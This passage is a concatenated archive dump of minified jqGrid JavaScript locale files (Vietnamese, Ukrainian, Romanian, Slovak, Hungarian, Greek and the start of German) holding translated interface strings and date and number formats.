colModel!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0"},date:{dayNames:["CN","T2","T3","T4","T5","T6","T7","Chủ nhật","Thứ hai","Thứ ba","Thứ tư","Thứ năm","Thứ sáu","Thứ bảy"],monthNames:["Th1","Th2","Th3","Th4","Th5","Th6","Th7","Th8","Th9","Th10","Th11","Th12","Tháng một","Tháng hai","Tháng ba","Tháng tư","Tháng năm","Tháng sáu","Tháng bảy","Tháng tám","Tháng chín","Tháng mười","Tháng mười một","Tháng mười hai"],AmPm:["sáng","chiều","SÁNG","CHIỀU"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"n/j/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-ua.js000064400000011677151677266200012263 0ustar00!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],a):a(jQuery)}(function(a){a.jgrid=a.jgrid||{},a.jgrid.hasOwnProperty("regional")||(a.jgrid.regional=[]),a.jgrid.regional.ua={defaults:{recordtext:"Перегляд {0} - {1} з {2}",emptyrecords:"Немає записів для перегляду",loadtext:"Завантаження...",pgtext:"Стор. {0} з {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid"},search:{caption:"Пошук...",Find:"Знайти",Reset:"Скидання",odata:[{oper:"eq",text:"рівно"},{oper:"ne",text:"не рівно"},{oper:"lt",text:"менше"},{oper:"le",text:"менше або рівне"},{oper:"gt",text:"більше"},{oper:"ge",text:"більше або рівне"},{oper:"bw",text:"починається з"},{oper:"bn",text:"не починається з"},{oper:"in",text:"знаходиться в"},{oper:"ni",text:"не знаходиться в"},{oper:"ew",text:"закінчується на"},{oper:"en",text:"не закінчується на"},{oper:"cn",text:"містить"},{oper:"nc",text:"не містить"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"}],groupOps:[{op:"AND",text:"все"},{op:"OR",text:"будь-який"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value"},edit:{addCaption:"Додати запис",editCaption:"Змінити запис",bSubmit:"Зберегти",bCancel:"Відміна",bClose:"Закрити",saveData:"До данних були внесені зміни! Зберегти зміни?",bYes:"Так",bNo:"Ні",bExit:"Відміна",msg:{required:"Поле є обов'язковим",number:"Будь ласка, введіть правильне число",minValue:"значення повинне бути більше або дорівнює",maxValue:"значення повинно бути менше або дорівнює",email:"некоректна адреса електронної пошти",integer:"Будь ласка, введення дійсне ціле значення",date:"Будь ласка, введення дійсне значення дати",url:"не дійсний URL. Необхідна приставка ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Переглянути запис",bClose:"Закрити"},del:{caption:"Видалити",msg:"Видалити обраний запис(и)?",bSubmit:"Видалити",bCancel:"Відміна"},nav:{edittext:" ",edittitle:"Змінити вибраний запис",addtext:" ",addtitle:"Додати новий запис",deltext:" ",deltitle:"Видалити вибраний запис",searchtext:" ",searchtitle:"Знайти записи",refreshtext:"",refreshtitle:"Оновити таблицю",alertcap:"Попередження",alerttext:"Будь ласка, виберіть запис",viewtext:"",viewtitle:"Переглянути обраний запис",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing"},col:{caption:"Показати/Приховати стовпці",bSubmit:"Зберегти",bCancel:"Відміна"},errors:{errcap:"Помилка",nourl:"URL не задан",norecords:"Немає записів для обробки",model:"Число полів не відповідає числу стовпців таблиці!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Нд","Пн","Вт","Ср","Чт","Пт","Сб","Неділя","Понеділок","Вівторок","Середа","Четвер","П'ятниця","Субота"],monthNames:["Січ","Лют","Бер","Кві","Тра","Чер","Лип","Сер","Вер","Жов","Лис","Гру","Січень","Лютий","Березень","Квітень","Травень","Червень","Липень","Серпень","Вересень","Жовтень","Листопад","Грудень"],AmPm:["am","pm","AM","PM"],S:function(a){return 11>a||a>13?["st","nd","rd","th"][Math.min((a-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n.j.Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y G:i:s",MonthDay:"F d",ShortTime:"G:i",LongTime:"G:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"}}});minified/i18n/grid.locale-ro.js000064400000012270151677266200012264 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ro={defaults:{recordtext:"Vizualizare {0} - {1} din {2}",emptyrecords:"Nu există înregistrări de vizualizat",loadtext:"Încărcare...",pgtext:"Pagina {0} din {1}",savetext:"Salvare...",pgfirst:"Prima pagină",pglast:"Ultima pagină",pgnext:"Următoarea pagină",pgprev:"Pagina anterioară",pgrecs:"Înregistrări pe pagină",showhide:"Comutați Extindeți Restrângeți grila",pagerCaption:"Setări Grid::Page",pageText:"Pagina:",recordPage:"Înregistrări pe pagină",nomorerecs:"Nu mai există înregistrări...",scrollPullup:"Trageți în sus pentru a încărca mai multe...",scrollPulldown:"Trageți în jos pentru a reîmprospăta...",scrollRefresh:"Eliberați pentru a reîmprospăta...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Caută...",Find:"Caută",Reset:"Resetare",odata:[{oper:"eq",text:"egal"},{oper:"ne",text:"diferit"},{oper:"lt",text:"mai mic"},{oper:"le",text:"mai mic sau egal"},{oper:"gt",text:"mai mare"},{oper:"ge",text:"mai mare sau egal"},{oper:"bw",text:"începe cu"},{oper:"bn",text:"nu începe cu"},{oper:"in",text:"se găsește în"},{oper:"ni",text:"nu se găsește în"},{oper:"ew",text:"se termină cu"},{oper:"en",text:"nu se termină cu"},{oper:"cn",text:"conține"},{oper:"nc",text:""},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"toate"},{op:"OR",text:"oricare"}],operandTitle:"Faceți clic pentru a selecta operația de căutare.",resetTitle:"Resetați valoarea căutării",addsubgrup:"Adăugați subgrup",addrule:"Adăugați o regulă",delgroup:"Șterge grupul",delrule:"Ștergeți regula",Close:"Închide",Operand:"Operand : ",Operation:"Operație : ",filterFor:"filter for"},edit:{addCaption:"Adăugare înregistrare",editCaption:"Modificare înregistrare",bSubmit:"Salvează",bCancel:"Anulare",bClose:"Închide",saveData:"Informațiile au fost modificate! Salvați modificările?",bYes:"Da",bNo:"Nu",bExit:"Anulare",msg:{required:"Câmpul este obligatoriu",number:"Vă rugăm introduceți un număr valid",minValue:"valoarea trebuie sa fie mai mare sau egală cu",maxValue:"valoarea trebuie sa fie mai mică sau egală cu",email:"nu este o adresă de e-mail validă",integer:"Vă rugăm introduceți un număr valid",date:"Vă rugăm să introduceți o dată validă",url:"Nu este un URL valid. Prefixul este necesar('http://' or 'https://')",nodefined:" nu este definit!",novalue:" valoarea returnată este necesară!",customarray:"Funcția personalizată ar trebui să returneze Array!",customfcheck:"Funcția personalizată ar trebui să fie prezentă în cazul verificării personalizate!"}},view:{caption:"Vizualizare înregistrare",bClose:"Închidere"},del:{caption:"Ștegere",msg:"Ștergeți înregistrarea (înregistrările) selectate?",bSubmit:"Șterge",bCancel:"Anulare"},nav:{edittext:"",edittitle:"Modifică rândul selectat",addtext:"",addtitle:"Adaugă rând nou",deltext:"",deltitle:"Șterge rândul selectat",searchtext:"",searchtitle:"Căutare înregistrări",refreshtext:"",refreshtitle:"Reîncarcare Grid",alertcap:"Avertisment",alerttext:"Vă rugăm să selectați un rând",viewtext:"",viewtitle:"Vizualizează rândul selectat",savetext:"",savetitle:"Salvați rândul",canceltext:"",canceltitle:"Anulați editarea rândurilor",selectcaption:"Acțiuni..."},col:{caption:"Arată/Ascunde coloanele",bSubmit:"Salvează",bCancel:"Anulare"},errors:{errcap:"Eroare",nourl:"Niciun url nu este setat",norecords:"Nu sunt înregistrări de procesat",model:"Lungimea colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Dum","Lun","Mar","Mie","Joi","Vin","Sâm","Duminică","Luni","Marți","Miercuri","Joi","Vineri","Sâmbătă"],monthNames:["Ian","Feb","Mar","Apr","Mai","Iun","Iul","Aug","Sep","Oct","Noi","Dec","Ianuarie","Februarie","Martie","Aprilie","Mai","Iunie","Iulie","August","Septembrie","Octombrie","Noiembrie","Decembrie"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sortare ascendentă",sortdesc:"Sortează descrescător",columns:"Coloane",filter:"Filtru",grouping:"Grupează după",ungrouping:"Eliminarea Gruparea",searchTitle:"Obțineți elemente cu valoare care:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Mutați pentru a reordona",hovermenu:"Faceți clic pentru acțiuni rapide pe coloană"}}});minified/i18n/grid.locale-sk.js000064400000011364151677266200012264 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.sk={defaults:{recordtext:"Zobrazených {0} - {1} z {2} záznamov",emptyrecords:"Neboli nájdené žiadne záznamy",loadtext:"Načítám...",pgtext:"Strana {0} z {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Vyhľadávam...",Find:"Hľadať",Reset:"Reset",odata:[{oper:"eq",text:"rovná sa"},{oper:"ne",text:"nerovná sa"},{oper:"lt",text:"menšie"},{oper:"le",text:"menšie alebo rovnajúce sa"},{oper:"gt",text:"väčšie"},{oper:"ge",text:"väčšie alebo rovnajúce sa"},{oper:"bw",text:"začína s"},{oper:"bn",text:"nezačína s"},{oper:"in",text:"je v"},{oper:"ni",text:"nie je v"},{oper:"ew",text:"končí s"},{oper:"en",text:"nekončí s"},{oper:"cn",text:"obahuje"},{oper:"nc",text:"neobsahuje"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"všetkých"},{op:"OR",text:"niektorého z"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Pridať záznam",editCaption:"Editácia záznamov",bSubmit:"Uložiť",bCancel:"Storno",bClose:"Zavrieť",saveData:"Údaje boli zmenené! Uložiť zmeny?",bYes:"Ano",bNo:"Nie",bExit:"Zrušiť",msg:{required:"Pole je požadované",number:"Prosím, vložte valídne číslo",minValue:"hodnota musí býť väčšia ako alebo rovná ",maxValue:"hodnota musí býť menšia ako alebo rovná ",email:"nie je valídny e-mail",integer:"Prosím, vložte celé číslo",date:"Prosím, vložte valídny dátum",url:"nie je platnou URL. Požadovaný prefix ('http://' alebo 'https://')",nodefined:" nie je definovaný!",novalue:" je vyžadovaná návratová hodnota!",customarray:"Custom function mala vrátiť pole!",customfcheck:"Custom function by mala byť prítomná v prípade custom checking!"}},view:{caption:"Zobraziť záznam",bClose:"Zavrieť"},del:{caption:"Zmazať",msg:"Zmazať vybraný(é) záznam(y)?",bSubmit:"Zmazať",bCancel:"Storno"},nav:{edittext:" ",edittitle:"Editovať vybraný riadok",addtext:" ",addtitle:"Pridať nový riadek",deltext:" ",deltitle:"Zmazať vybraný záznam ",searchtext:" ",searchtitle:"Nájsť záznamy",refreshtext:"",refreshtitle:"Obnoviť tabuľku",alertcap:"Varovanie",alerttext:"Prosím, vyberte riadok",viewtext:"",viewtitle:"Zobraziť vybraný riadok",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Zobrazit/Skrýť stĺpce",bSubmit:"Uložiť",bCancel:"Storno"},errors:{errcap:"Chyba",nourl:"Nie je nastavená url",norecords:"Žiadne záznamy k spracovaniu",model:"Dĺžka colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Ne","Po","Ut","St","Št","Pi","So","Nedela","Pondelok","Utorok","Streda","Štvrtok","Piatek","Sobota"],monthNames:["Jan","Feb","Mar","Apr","Máj","Jún","Júl","Aug","Sep","Okt","Nov","Dec","Január","Február","Marec","Apríl","Máj","Jún","Júl","August","September","Október","November","December"],AmPm:["do","od","DO","OD"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-hu.js000064400000011311151677266200012253 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.hu={defaults:{recordtext:"Oldal {0} - {1} / {2}",emptyrecords:"Nincs találat",loadtext:"Betöltés...",pgtext:"Oldal {0} / {1}",savetext:"Mentés...",pgfirst:"Első oldal",pglast:"Utolsó oldal",pgnext:"Következő oldal",pgprev:"Előző oldal",pgrecs:"Rekordok oldalanként",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Oldal:",recordPage:"Rekordok oldalanként",nomorerecs:"Nincs több rekord...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Keresés...",Find:"Keres",Reset:"Alapértelmezett",odata:[{oper:"eq",text:"egyenlő"},{oper:"ne",text:"nem egyenlő"},{oper:"lt",text:"kevesebb"},{oper:"le",text:"kevesebb vagy egyenlő"},{oper:"gt",text:"nagyobb"},{oper:"ge",text:"nagyobb vagy egyenlő"},{oper:"bw",text:"ezzel kezdődik"},{oper:"bn",text:"nem ezzel kezdődik"},{oper:"in",text:"tartalmaz"},{oper:"ni",text:"nem tartalmaz"},{oper:"ew",text:"végződik"},{oper:"en",text:"nem végződik"},{oper:"cn",text:"tartalmaz"},{oper:"nc",text:"nem tartalmaz"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"között"}],groupOps:[{op:"AND",text:"all"},{op:"OR",text:"any"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Új tétel",editCaption:"Tétel szerkesztése",bSubmit:"Mentés",bCancel:"Mégse",bClose:"Bezárás",saveData:"A tétel megváltozott! Tétel mentése?",bYes:"Igen",bNo:"Nem",bExit:"Mégse",msg:{required:"Kötelező mező",number:"Kérjük, adjon meg egy helyes számot",minValue:"Nagyobb vagy egyenlőnek kell lenni mint ",maxValue:"Kisebb vagy egyenlőnek kell lennie mint",email:"Hibás email cím",integer:"Kérjük adjon meg egy helyes egész számot",date:"Kérjük adjon meg egy helyes dátumot",url:"nem helyes cím. Előtag kötelező ('http://' vagy 'https://')",nodefined:" nem definiált!",novalue:" visszatérési érték kötelező!!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Tétel megtekintése",bClose:"Bezárás"},del:{caption:"Törlés",msg:"Kiválaztott tétel(ek) törlése?",bSubmit:"Törlés",bCancel:"Mégse"},nav:{edittext:"",edittitle:"Tétel szerkesztése",addtext:"",addtitle:"Új tétel hozzáadása",deltext:"",deltitle:"Tétel törlése",searchtext:"",searchtitle:"Keresés",refreshtext:"",refreshtitle:"Frissítés",alertcap:"Figyelmeztetés",alerttext:"Kérem válasszon tételt.",viewtext:"",viewtitle:"Tétel megtekintése",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Oszlopok kiválasztása",bSubmit:"Ok",bCancel:"Mégse"},errors:{errcap:"Hiba",nourl:"Nincs URL beállítva",norecords:"Nincs feldolgozásra váró tétel",model:"colNames és colModel hossza nem egyenlő!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Va","Hé","Ke","Sze","Csü","Pé","Szo","Vasárnap","Hétfő","Kedd","Szerda","Csütörtök","Péntek","Szombat"],monthNames:["Jan","Feb","Már","Ápr","Máj","Jún","Júl","Aug","Szep","Okt","Nov","Dec","Január","Február","Március","Áprili","Május","Június","Július","Augusztus","Szeptember","Október","November","December"],AmPm:["de","du","DE","DU"],S:function(e){return".-ik"},srcformat:"Y-m-d",newformat:"Y/m/d",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"Y/j/n",LongDate:"Y. F hó d., l",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"a g:i",LongTime:"a g:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"Y, F"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-el.js000064400000012747151677266200012255 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.el={defaults:{recordtext:"View {0} - {1} of {2}",emptyrecords:"No records to view",loadtext:"Φόρτωση...",savetext:"Saving...",pgtext:"Page {0} of {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Αναζήτηση...",Find:"Εύρεση",Reset:"Επαναφορά",odata:[{oper:"eq",text:"equal"},{oper:"ne",text:"not equal"},{oper:"lt",text:"less"},{oper:"le",text:"less or equal"},{oper:"gt",text:"greater"},{oper:"ge",text:"greater or equal"},{oper:"bw",text:"begins with"},{oper:"bn",text:"does not begin with"},{oper:"in",text:"is in"},{oper:"ni",text:"is not in"},{oper:"ew",text:"ends with"},{oper:"en",text:"does not end with"},{oper:"cn",text:"contains"},{oper:"nc",text:"does not contain"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"all"},{op:"OR",text:"any"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Εισαγωγή Εγγραφής",editCaption:"Επεξεργασία Εγγραφής",bSubmit:"Καταχώρηση",bCancel:"Άκυρο",bClose:"Κλείσιμο",saveData:"Data has been changed! Save changes?",bYes:"Yes",bNo:"No",bExit:"Cancel",msg:{required:"Το πεδίο είναι απαραίτητο",number:"Το πεδίο δέχεται μόνο αριθμούς",minValue:"Η τιμή πρέπει να είναι μεγαλύτερη ή ίση του ",maxValue:"Η τιμή πρέπει να είναι μικρότερη ή ίση του ",email:"Η διεύθυνση e-mail δεν είναι έγκυρη",integer:"Το πεδίο δέχεται μόνο ακέραιους αριθμούς",url:"is not a valid URL. Prefix required ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"View Record",bClose:"Close"},del:{caption:"Διαγραφή",msg:"Διαγραφή των επιλεγμένων εγγραφών;",bSubmit:"Ναι",bCancel:"Άκυρο"},nav:{edittext:" ",edittitle:"Επεξεργασία επιλεγμένης εγγραφής",addtext:" ",addtitle:"Εισαγωγή νέας εγγραφής",deltext:" ",deltitle:"Διαγραφή επιλεγμένης εγγραφής",searchtext:" ",searchtitle:"Εύρεση Εγγραφών",refreshtext:"",refreshtitle:"Ανανέωση Πίνακα",alertcap:"Προσοχή",alerttext:"Δεν έχετε επιλέξει εγγραφή",viewtext:"",viewtitle:"View selected row",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Εμφάνιση / Απόκρυψη Στηλών",bSubmit:"ΟΚ",bCancel:"Άκυρο"},errors:{errcap:"Σφάλμα",nourl:"Δεν έχει δοθεί διεύθυνση χειρισμού για τη συγκεκριμένη ενέργεια",norecords:"Δεν υπάρχουν εγγραφές προς επεξεργασία",model:"Άνισος αριθμός πεδίων colNames/colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Κυρ","Δευ","Τρι","Τετ","Πεμ","Παρ","Σαβ","Κυριακή","Δευτέρα","Τρίτη","Τετάρτη","Πέμπτη","Παρασκευή","Σάββατο"],monthNames:["Ιαν","Φεβ","Μαρ","Απρ","Μαι","Ιουν","Ιουλ","Αυγ","Σεπ","Οκτ","Νοε","Δεκ","Ιανουάριος","Φεβρουάριος","Μάρτιος","Απρίλιος","Μάιος","Ιούνιος","Ιούλιος","Αύγουστος","Σεπτέμβριος","Οκτώβριος","Νοέμβριος","Δεκέμβριος"],AmPm:["πμ","μμ","ΠΜ","ΜΜ"],S:function(e){return 1==e||1<e?["η"][Math.min((e-1)%10,3)]:""},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-de.js000064400000011452151677266200012235 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.de={defaults:{recordtext:"Zeige {0} - {1} von {2}",emptyrecords:"Keine Datensätze vorhanden",loadtext:"Lädt...",savetext:"Speichern...",pgtext:"Seite {0} von {1}",pgfirst:"erste Seite",pglast:"letzte Seite",pgnext:"nächste Seite",pgprev:"vorherige Seite",pgrecs:"Datensätze pro Seite",showhide:"Toggle erweitern reduzieren",pagerCaption:"Grid::Seite Optionen",pageText:"Seite:",recordPage:"Ergebnisse pro Seite",nomorerecs:"Keine weiteren Datensätze...",scrollPullup:"Ziehen Sie, um mehr zu laden...",scrollPulldown:"Pulldown zu aktualisieren...",scrollRefresh:"Lassen Sie zu aktualisieren..."},search:{caption:"Suche...",Find:"Suchen",Reset:"Zurücksetzen",odata:[{oper:"eq",text:"gleich"},{oper:"ne",text:"ungleich"},{oper:"lt",text:"kleiner"},{oper:"le",text:"kleiner gleich"},{oper:"gt",text:"größer"},{oper:"ge",text:"größer gleich"},{oper:"bw",text:"beginnt mit"},{oper:"bn",text:"beginnt nicht mit"},{oper:"in",text:"ist in"},{oper:"ni",text:"ist nicht in"},{oper:"ew",text:"endet mit"},{oper:"en",text:"endet nicht mit"},{oper:"cn",text:"enthält"},{oper:"nc",text:"enthält nicht"},{oper:"nu",text:"ist Null"},{oper:"nn",text:"ist nicht Null"},{oper:"bt",text:"zwischen"}],groupOps:[{op:"AND",text:"alle"},{op:"OR",text:"mindestens eine"}],operandTitle:"Klicken Sie auf Suchoperation zu wählen.",resetTitle:"Reset Suche Wert",addsubgrup:"Gruppe hinzufügen",addrule:"In der Regel",delgroup:"Gruppe löschen",delrule:"Regel löschen",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Datensatz hinzufügen",editCaption:"Datensatz bearbeiten",bSubmit:"Speichern",bCancel:"Abbrechen",bClose:"Schließen",saveData:"Daten wurden geändert! Änderungen speichern?",bYes:"ja",bNo:"nein",bExit:"abbrechen",msg:{required:"Feld ist 